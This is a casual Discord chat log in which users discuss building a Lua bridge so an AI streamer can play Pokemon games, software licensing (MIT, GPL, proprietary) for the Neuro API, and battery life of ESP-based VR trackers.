I like. JUST gave Zero vision. So working into an API is my next step, so I'm just now reaching the point

#

That being said. Trying to reverse engineer Pokemon games is less desirable than putting my balls in a hydraulic press

jagged turtle
floral hawk
#

I'm trying to build a Lua bridge for white 2

full canopy
floral hawk
#

That way it can plug straight in and she can play it entirely of herself

split steppe
#

oop

jagged turtle
#

:omemga

split steppe
#

omemga indeed

#

but even if what vedal said it's true the most you could infer is that it's a random voice model as the question asks, which is totally plausible, they are far smaller

opaque wharf
floral hawk
#

Yeah. I reached out to Vedal a few days back too, just to discuss the field and ask some things. Was very professional (as best as I know how to be). Didn't expect a response and didn't get one, but that's okay. I just wanna do things the right way and not leave a bad taste in anyone's mouth because very few people have ever actually done this and it not be a GPT wrapper or some half assed bs

opaque wharf
#

But also, don't use the protocol for the love of god. It is not made for realtime thing neurOMEGALUL

floral hawk
#

I know dudes busy ash

opaque wharf
#

Learn from what exists and improve upon it

floral hawk
#

I'm not using anything there. I'm just observing the pipeline more than anything else

#

I'm coming at this completely blind, so having a baseline is all I want

rough bloom
floral hawk
#

Oh you're referencing Pokemon

#

I mean. Yes and no

#

It still operates on frames but that's basically irrelevant data

jagged turtle
#

I mean usually there isn't realtime-y elements in pokemon

#

at least the 2D ones

floral hawk
#

Yeah no

#

The only exception I can think of is mini games

jagged turtle
#

?

floral hawk
#

Contests are runtime

#

In dpp

#

My problem is being so stubborn in wanting gen 4/5 when gen 3 and under is literally nearly plug and play compared to what I'm doing right now

jagged turtle
#

oh I forgot about contests

#

somehow

visual pawn
floral hawk
#

Which for a cutesy streamer would be great right

jagged turtle
#

explains why there's emdashes too (AI translation)

floral hawk
#

Although atp Zero is less cutesy streamer and definitely leaning more into sarcastic dark humor. I genuinely think it'll be a different audience, which makes me happy.

visual pawn
#

Also, I feel like questions about using the Neuro API for other projects is up to the license

#

The API itself is MIT license, but you could have a more restrictive license for your specific integration?

floral hawk
#

True but it's irrelevant, I'm choosing not to use it

#

Whether I can is a separate matter entirely.

jagged turtle
visual pawn
#

But I also feel like it's basically a statement of intent from the creator

jagged turtle
#

Yes, but a license might not cover it properly

visual pawn
#

Maybe people would still be mad, but personally it's a matter of whether it violates the creator's wishes

floral hawk
#

Think about this from my perspective

jagged turtle
#

we're just discussing technicalities atp

floral hawk
#

Oh okay I misinterpreted

#

My fault

jagged turtle
visual pawn
#

Im sure theres a license that only allows for reproduction under permission right?

jagged turtle
#

Isn't that just ARR

rough bloom
#

ye, you can just not include a license

visual pawn
#

Yeah

jagged turtle
#

though in theory it also creates risk for Vedal

#

not a realistic risk, mind you

#

but still a risk

visual pawn
#

I was gonna say Vedal was still the one that added the license, but I guess the commit was Alex's lol

floral hawk
#

Night guys. Tis l8. Stay safe

faint sandal
rough bloom
true hemlock
#

7 hours of vr session my trackers battery only dropped 25%

#

esp8266 is pretty low powered huh

#

i fitted in 3.7v 1000mAh battery

#

Hmm seems to handled it well

opaque wharf
#

So in the future who knows, maybe neuro would benefit from it too and able to actually play real time game

rough bloom
#

it's not really a protocol issue and more an LLM issue

#

they just don't do anything time-based well

opaque wharf
#

Hmmm, that is true

rough bloom
#

they have no sense of time and they're slow

visual pawn
#

Probably wouldve been better with a copyleft license in that case

opaque wharf
#

We should make LLM that are always active 24/7 neuroHypers

visual pawn
#

If you wanted to guarantee that all derivative works could be used to benefit Neuro still

opaque wharf
#

Nrf are miles ahead in terms of low power

opaque wharf
#

If I decide anyone may use it but Sam, then it just a matter of enforcing it

rough bloom
opaque wharf
#

Hmm, should've chosen Sam as an example enub

rough bloom
#

you can just not include a license in the repo and instead grant licenses to whoever you want directly

#

average proprietary project

visual pawn
#

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software") unless they are this person who doesn't deserve it.

jagged turtle
opaque wharf
true hemlock
opaque wharf
#

CBR IIRC

#

Ahh, OCB

#

AES-OCB

#

It was not permitted to use for military IIRC

visual pawn
opaque wharf
#

But the patent has not been renewed

#

I know that because mumble uses it enub

#

Ohhh, also vantablack owner

#

Someone got beef with him

#

So the person decided to ban Anish Kapoor from purchasing that colour

rough bloom
jagged turtle
opaque wharf
#

Like literally you need to check a box saying "by checking this box you agree that you will not sell this to anish kapoor or in any way give it to him"

rough bloom
visual pawn
#

Hmm, I just remember some license that was basically "if you take and modify this source code in any way you must publish it under the same license as this"

opaque wharf
visual pawn
#

But doesnt that mean that someone can't just take the code and add to it without you reaping the benefits?

rough bloom
#

no

#

again

the GPL only makes sure that if you have a compiled binary, you are also allowed to have the source code for that binary

#

you can't take GPL code, modify it, compile it, and then sell that modified version without also providing the source code

#

but as long as you don't sell or provide the modified version at all you can do whatever you want

visual pawn
#

I see

opaque wharf
#

Like, "source is available upon request and the user must provide their own specific medium then mail it to this address in the middle of yakuts"

rough bloom
#

YES can provide source code carved into stone tablets if you want

#

valid

visual pawn
#

I once did a gig as an expert witness for a patent case and the defendant had to provide their code for me to look through

#

They were nice though and I had access to sublime text (but nothing else)

fast pagoda
stark needle
#

i think he just used a huge ass battery

true hemlock
#

uh

#

ni

#

no

stark needle
#

wtf

true hemlock
#

3.7v 1000mAh

#

esp8266

fast pagoda
#

esp32s draw like 150 mah when active so

#

oh the otrher one

stark needle
#

for me trackers would die in 7h

#

slime ones

true hemlock
#

lmao

stark needle
#

i used esp32 idk if that matters tho

#

and bmi 160

#

maybe those chips are just shit

opaque wharf
true hemlock
opaque wharf
#

ESP32 actually can go up to 300mA IIRC

true hemlock
fast pagoda
#

i would think 32 would be higher us

true hemlock
#

lsm6dsr + esp8266

#

mine

stark needle
#

based

#

if it works it works

fast pagoda
stark needle
#

i just use the official pico ones cause i cant be bothered using slimevr

true hemlock
#

also tracking is pretty good now

#

after some extra tuning and stuff

#

average reset time is 1.5-2 hours

stark needle
fast pagoda
#

y-yeah 4090

stark needle
#

spoofed 4090 glueless

#

i love spoofing 8x B200

#

hp printer gpu

true hemlock
fast pagoda
#

i trimmed off

true hemlock
#

cool

fast pagoda
#

intentionally stops right here

stark needle
fast pagoda
#

it has a visible link to his gfe order page wouldnt wnat to leak that

#

also are you actually using that yung raphael 2 cu slopper for anything xd

#

i forget these cpus have those

stark needle
#

wtf is raphael 2 cu

true hemlock
#

amd igpu

fast pagoda
#

the igpu ojn 9900/9950

#

idk about the other models

#

i thinik they prob have too

#

it's dogshit

#

rdna 2

true hemlock
fast pagoda
#

ah ok

kind nimbus
leaden crest
#

goooooooood morning chat